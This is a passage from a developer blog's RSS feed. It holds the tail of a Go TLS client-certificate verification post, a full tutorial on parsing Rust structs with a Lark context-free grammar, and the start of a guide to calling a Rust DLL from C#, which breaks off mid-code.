        &lt;span class="c"&gt;//copied from the default options in src/crypto/tls/handshake_server.go, 680 (go 1.11)&lt;/span&gt;
        &lt;span class="c"&gt;//but added DNSName&lt;/span&gt;
        &lt;span class="n"&gt;opts&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;x509&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VerifyOptions&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;Roots&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;         &lt;span class="n"&gt;rootCAs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;CurrentTime&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;   &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Now&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
            &lt;span class="n"&gt;Intermediates&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;x509&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NewCertPool&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
            &lt;span class="n"&gt;KeyUsages&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;     &lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="n"&gt;x509&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ExtKeyUsage&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;x509&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ExtKeyUsageClientAuth&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
            &lt;span class="n"&gt;DNSName&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;       &lt;span class="n"&gt;strings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;helloInfo&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Conn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;RemoteAddr&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="s"&gt;":"&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;verifiedChains&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Verify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;opts&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This now validates the client's certificate against the root CA's we specified at our starting point, the client's certificate key usage, and the DNSName of the client connecting. The &lt;code&gt;strings.Split&lt;/code&gt; saves us from including the &lt;code&gt;RemoteAddr&lt;/code&gt;port number in the DNSName field, and won't screw anything up if it's an actual DNS name.&lt;/p&gt;

&lt;p&gt;There it is, I hope you find this useful! You can find all of the code in a single, small server.go example &lt;a href="https://gist.github.com/LivingInSyn/b2634518f654c0e877224bb03e2ed3bb"&gt;here&lt;/a&gt;&lt;/p&gt;

</description>
      <category>go</category>
      <category>tls</category>
      <category>san</category>
      <category>hostname</category>
    </item>
    <item>
      <title>Translating Rust to other languages (Pt 1- Context Free Grammar)</title>
      <dc:creator>Jeremy Mill</dc:creator>
      <pubDate>Sat, 03 Feb 2018 03:03:55 +0000</pubDate>
      <link>https://dev.to/living_syn/translating-rust-to-other-languages-pt-1--context-free-grammar-4kec</link>
      <guid>https://dev.to/living_syn/translating-rust-to-other-languages-pt-1--context-free-grammar-4kec</guid>
      <description>&lt;h1&gt;
  
  
  Overview
&lt;/h1&gt;

&lt;p&gt;At my place of current employment I write libraries in Rust which are called by other languages, on multiple operating systems, on multiple platforms. Furthermore, it involves taking in streams of data from different communications buses and decoding it into usable forms by other developers on those other platforms, in those other languages! As a result, I've got rust projects with hundreds of structs that are exposed through a Rust FFI.&lt;/p&gt;

&lt;p&gt;I have zero desire to maintain those translations by hand, so I wrote a tool to do it for me. There are multiple ways to go about this, I could have written a naive translator which goes line by line and and expects the rust structs to look a very specific way. That, however, would not have been maintainable, or able to be shared, so I instead used a parsing library called &lt;a href="https://github.com/erezsh/lark"&gt;Lark&lt;/a&gt;. Lark allows me to write a &lt;a href="https://en.wikipedia.org/wiki/Context-free_grammar"&gt;context-free grammar&lt;/a&gt; to specify the language I'm expecting, and provide a nice interface for me to turn defined symbols into python objects which are easy to work with. Once I have those objects, building source code in other languages is fairly trivial.&lt;/p&gt;

&lt;p&gt;You can see the whole project here: &lt;a href="https://github.com/LivingInSyn/Rust_Api_Generator"&gt;https://github.com/LivingInSyn/Rust_Api_Generator&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  The Context Free Grammar
&lt;/h1&gt;

&lt;p&gt;I won't go into too much detail on all of the ins and outs of writing a grammar. I will mostly be focusing on the grammar that I wrote. Lark has a good tutorial &lt;a href="https://github.com/erezsh/lark/blob/master/docs/json_tutorial.md"&gt;here&lt;/a&gt;, which goes much more in depth&lt;/p&gt;

&lt;p&gt;When writing a grammar from scratch, I find that it's best to work from the inside out. That is, start with the most basic element, and work backwards. Thing names (variables, structs, etc) are a great place to start, and that's where we'll start today. We'll call our first symbol 'name' and it looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;?name: /[a-z_A-Z][a-z_A-Z0-9]*/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The question mark operator in front says, if there's only one child of this symbol, don't wrap it in another object (when it's parsed), just give me the child. The ? is followed by the name of our symbol, which in this case is simply 'name'. Next is a regular expression which defines what a name can look like. In this Case, it's an upper or lowercase A-Z, or an underscore, followed by an unlimited number of alphanumeric characters and underscores.&lt;/p&gt;

&lt;p&gt;Next we're going to define something we call an rtype. This won't make much sense until we make it further in the grammar, but suffice to say, an rtype is defined as either a name, or an array declaration. It looks like this&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;?rtype: name
    | array
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once we have a definition for an rtype, we can define a pointer modifier that we'll use in other declarations.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pointer: "*" mutable
    | "*" const

mutable: "mut"
const: "const"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here we defined 3 symbols, pointer, mutable and const. We made mutable and const their own symbols because we want to be able to perform different actions based on their properties. Pointer is defined by the string "*" followed by one of those two symbols, which are in turn, defined by strings&lt;/p&gt;

&lt;p&gt;Once we have a definition for an rtype and a pointer, we can define something called a 'modified type' This tells us if we're looking at a name in another declaration if it's a pointer or not. The brackets ([]) around the pointer symbol indicate that it's optional. Thus&lt;br&gt;
&lt;br&gt;
 &lt;code&gt;*mut i16&lt;/code&gt;&lt;br&gt;
&lt;br&gt;
 and&lt;br&gt;
&lt;br&gt;
 &lt;code&gt;i16&lt;/code&gt;&lt;br&gt;
&lt;br&gt;
 would both be matched by the ?modifiedtype symbol.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;?modifiedtype: [pointer] rtype
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now lets backtrack a moment and define 'array' because we already used it in our rtype definition. Array is defined by an opening bracket, a modifiedtype, a semicolon, one or more digits that starts with 1-9 (can't be 0). Lastly, it must end with a closing bracket.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;array: "[" modifiedtype ";" /[1-9]{1}[0-9]*/ "]"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now that we've got a good handle on what some of the context free grammar rules look like, lets skip ahead a bit and see the rest of what we need to define a struct&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;reprc: "#[repr(C)]"

comment: /\/\/[^\n]*/

decl: [ispub] name ":" modifiedtype [","]
    | comment

?ispub: "pub"
struct:  [reprc] [ispub] "struct" name "{" decl+ "}"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here we define the repr(C) instruction to rust which tells rust to have this struct use C-compliant memory layout. We'll use this (and pub) to decide which structs to translate. If it's not repr(C) and pub, it doesn't make sense to translate it, since it won't work over an FFI interface. We declare that a decl is a combination of if it's public or not, a name, a colon, a modified type, and an optional comma. It can also be comment, since we allow comments inside of struct definitions. It's worth noting here that we intentionally designed the grammar to NOT handle multiline comments. A preprocessor will remove them later. We want single line comments to move over, NOT multiline comments.&lt;/p&gt;

&lt;p&gt;We define a struct as possibly reprc, possibly public, the word struct, a name, an opening brace, one or more decl's and a closing brace.&lt;/p&gt;

&lt;p&gt;Next, we're going to define a few symbols that we're not going to translate between languages. We have to define them in our grammar so that it doesn't break when we parse the file. They are 'using' statements, 'extern crate' statements and 'impl' statements. The definitions are here:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;externcrate: "extern" "crate" name [optionalas] ";"
?optionalas: "as" name

usedecl: "use" namespace+ ";"
?namespace: ["::"] name

impl: ["unsafe"] "impl" name "for" name "{}"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The final step is to define a start point for the file and a top level definition. There's also some instructions for Lark, basically ignore whitespace, and handle things as strings wherever possible.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;?statement: struct
    | usedecl
    | comment
    | impl
    | externcrate

?start: statement+

//for use by lark
%import common.ESCAPED_STRING
%import common.WS
%ignore WS
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The full context free grammar can be found &lt;a href="https://github.com/LivingInSyn/Rust_Api_Generator/blob/master/Rust_Struct_Parser/rgrammar.g"&gt;here&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Using the CFG
&lt;/h1&gt;

&lt;p&gt;Now that we've got a CFG, lets parse it into an abstract syntax tree. We will work on the following rust struct as a starting point:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="nd"&gt;#[repr(C)]&lt;/span&gt;
&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;bar&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="n"&gt;unsigned_32bit&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;u32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="n"&gt;arraytest&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;u8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="n"&gt;pntr_array&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="nb"&gt;c_char&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next, we'll run the following python code. Basically, we're creating the parser, passing it in our grammar file that we made in the previous section. Then we're asking it to parse some input, and print the resulting syntax tree, in a pretty way.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;lark&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Lark&lt;/span&gt;

&lt;span class="n"&gt;gf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"rgrammar.g"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'r'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;parser&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Lark&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;gf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"lalr"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;tree&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'''#[repr(C)]
pub struct bar {
    pub unsigned_32bit: u32,
    pub arraytest: [u8;10],
    pub pntr_array: [*mut c_char;4],
}'''&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tree&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pretty&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;running this code gives the following output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;struct
  reprc
  ispub
  bar
  decl
    ispub
    unsigned_32bit
    u32
  decl
    ispub
    arraytest
    array
      u8
      10
  decl
    ispub
    pntr_array
    array
      modifiedtype
        pointer
          mutable
        c_char
      4
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is our abstract syntax tree. We can see that the struct has a reprc on it, is public, is named bar, and that it has 4 decl's in it, with all of their associated fields. &lt;/p&gt;

&lt;h1&gt;
  
  
  Conclusion
&lt;/h1&gt;

&lt;p&gt;In this article, we talked about creating the CFG and using it to create a basic abstract syntax tree using Lark. In the next section(s), we'll use this information to massage the objects created by lark into a more usable form, and then finally, output code in other languages.&lt;/p&gt;

</description>
      <category>python</category>
      <category>rust</category>
      <category>ffi</category>
      <category>translation</category>
    </item>
    <item>
      <title>Calling Rust from C#</title>
      <dc:creator>Jeremy Mill</dc:creator>
      <pubDate>Mon, 02 Oct 2017 20:43:08 +0000</pubDate>
      <link>https://dev.to/living_syn/calling-rust-from-c-6hk</link>
      <guid>https://dev.to/living_syn/calling-rust-from-c-6hk</guid>
      <description>&lt;h1&gt;
  
  
  Intro
&lt;/h1&gt;

&lt;p&gt;This is a guide for creating a Rust DLL and calling it from C#. We will cover native return values as well as structs. This guide assumes a windows environment, and also assumes that you have installed rust and set up a c# development environment.&lt;/p&gt;

&lt;h2&gt;
  
  
  Rust Project Setup and Dependencies
&lt;/h2&gt;

&lt;p&gt;It's pretty simple to create a rust library and get it to compile into a DLL. First, navigate to the folder where you want your project and run the following command:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cargo new cs_call_rst&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This will create a new folder named cs_call_rust, and initilize it with a 'src' folder and a cargo.toml file. We can build our new project by changing into the newly created &lt;code&gt;cs_call_rust&lt;/code&gt; folder and running:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cargo build&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;After running this command, you'll notice that there is now a new folder named &lt;code&gt;target&lt;/code&gt; and it contains a folder named &lt;code&gt;debug&lt;/code&gt; and in it are the output of our build. However, there's a problem, we didn't build a dll, we built a .rlib file. To tell the rust compiler to create a dll, open up &lt;code&gt;cargo.toml&lt;/code&gt; and make it look like the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[package]
name = "cs_call_rst"
version = "0.1.0"
authors = ["Jeremy Mill &amp;lt;jeremymill@gmail.com&amp;gt;"]

[lib]
name="our_rust"
crate-type = ["dylib"]

[dependencies]

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;[package]&lt;/code&gt; section tells the compiler some metadata about the package we're building, like who we are and what version this is. The next section, &lt;code&gt;[lib]&lt;/code&gt; is where we tell the compiler to create a DLL, and name it 'our_rust'. When you run &lt;code&gt;cargo build&lt;/code&gt; again, you should now see &lt;code&gt;our_rust.dll&lt;/code&gt; in the output directory. &lt;/p&gt;

&lt;h2&gt;
  
  
  First external rust function
&lt;/h2&gt;

&lt;p&gt;Now that we've got our project all set up, lets add our first rust function, then call it from c#. Open up &lt;code&gt;lib.rs&lt;/code&gt; and add the following function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="nd"&gt;#[no_mangle]&lt;/span&gt;
&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;extern&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;add_numbers&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;number1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;i32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;number2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;i32&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;i32&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nd"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Hello from rust!"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;number1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;number2&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first line, &lt;code&gt;#[no_mangle]&lt;/code&gt; tells the compiler to keep the name &lt;code&gt;add_numbers&lt;/code&gt; so that we can call it from external code. Next we define a public, externally available function, that takes in two 32 bit integers, and returns a 32 bit integer. The method prints a 'hello world'  and returns the added numbers. &lt;/p&gt;

&lt;p&gt;Run &lt;code&gt;cargo build&lt;/code&gt; to build our DLL, because we'll be calling this function in the next step.&lt;/p&gt;

&lt;h2&gt;
  
  
  C# project setup
&lt;/h2&gt;

&lt;p&gt;I'm going to make the assumption that you're using visual studio for c# development, and that you already have a basic knowledge of c# and setting up a project. So, with that assumption, go ahead and create a new c# console application in visual studio. I'm naming mine &lt;code&gt;rust_dll_poc&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Before we write any code, we need to add our DLL into our project. Right click on our project and select &lt;code&gt;add -&amp;gt; existing item -&amp;gt; our_rust.dll&lt;/code&gt;. Next, in the bottom right 'properties' window (with the dll highlighted), make sure to change 'Copy Output Directory' from 'Do not copy' to 'Copy always'. This makes sure that the dll is copied to the build directory which will make debugging MUCH easier. Note, you will need to redo this step (or script it) with every change you make to the DLL. &lt;/p&gt;

&lt;p&gt;Next, add the following using statement to the top of our application:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="k"&gt;using&lt;/span&gt; &lt;span class="nn"&gt;System.Runtime.InteropServices&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This library will let us load our DLL and call it. &lt;/p&gt;

&lt;p&gt;Next add the following private instance variable &lt;code&gt;Program&lt;/code&gt; class:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nf"&gt;DllImport&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"our_rust.dll"&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="k"&gt;extern&lt;/span&gt; &lt;span class="n"&gt;Int32&lt;/span&gt; &lt;span class="nf"&gt;add_numbers&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Int32&lt;/span&gt; &lt;span class="n"&gt;number1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Int32&lt;/span&gt; &lt;span class="n"&gt;number2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This allows us to declare that we're importing an external function, named add_numbers, it's signature, and where we're importing it from. You may know that c# normally treats the &lt;code&gt;int&lt;/code&gt; as a 32 bit signed integer, however, when dealing with foreign functions, it is MUCH safer to be explicit in exactly what data type you're expecting on both ends, so we declared, explicitly, that we're expecting a 32 bit signed integer returned, and that the inputs should be 32 bit signed integers. &lt;/p&gt;

&lt;p&gt;Now, lets, call the function. Add the following code into &lt;code&gt;main&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;Main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;var&lt;/span&gt; &lt;span class="n"&gt;addedNumbers&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;add_numbers&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;WriteLine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;addedNumbers&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ReadLine&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You should see the following output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hello from rust!
15
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note!: If you see a &lt;code&gt;System.BadImageFormatException&lt;/code&gt; When you try and run the above code, you (probably) have a mismatch in the build targets for our rust dll, and our c# application. C# and visual studio build for x86 by default, and rust-init will install a 64 bit compiler by default for a 64 bit architecture. You can build a 64 bit version of our c# application by following the steps outlined &lt;a href="https://msdn.microsoft.com/en-us/library/ms185328.aspx"&gt;here&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Returning a simple struct
&lt;/h2&gt;

&lt;p&gt;Ok, awesome, we now know how to return basic values. But how about a struct? We will start with a basic struct that requires no memory allocation. First, lets define our struct, and a method that returns an instance of it in &lt;code&gt;lib.rs&lt;/code&gt; by adding the following code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="nd"&gt;#[repr(C)]&lt;/span&gt;
&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;SampleStruct&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;    
    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="n"&gt;field_one&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;i16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="n"&gt;field_two&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;i32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nd"&gt;#[no_mangle]&lt;/span&gt;
&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;extern&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;get_simple_struct&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;SampleStruct&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;SampleStruct&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;field_one&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;field_two&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now we need to define the corresponding struct in c# that matches the rust struct, import the new function, and call it! Add the following into our &lt;code&gt;program.cs&lt;/code&gt; file:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Edit: As Kalyanov Dmitry pointed out, I missed adding a Struct Layout annotation. This annotation ensures that the C# compiler won't rearrange our struct and break our return values&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="k"&gt;namespace&lt;/span&gt; &lt;span class="nn"&gt;rust_dll_poc&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
